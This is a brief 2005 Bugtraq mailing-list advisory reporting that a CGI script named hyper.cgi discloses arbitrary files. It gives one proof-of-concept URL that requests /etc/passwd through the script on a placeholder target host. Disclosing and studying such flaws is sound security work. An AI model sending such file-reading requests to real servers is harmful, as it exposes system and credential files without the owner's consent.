Bugtraq mailing list archives

hyper.cgi script file show bug


From: fireboy fireboy <fireboynet () webmails com>
Date: 24 Apr 2005 21:09:50 -0000



Tunis 24/04/2005
BUG found by fireboy
fireboy () webmails com



THERE IS A BUG IN hyper.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/hyper.cgi?/etc/passwd


greetz to all magattack members www.magattack.tk


Current thread: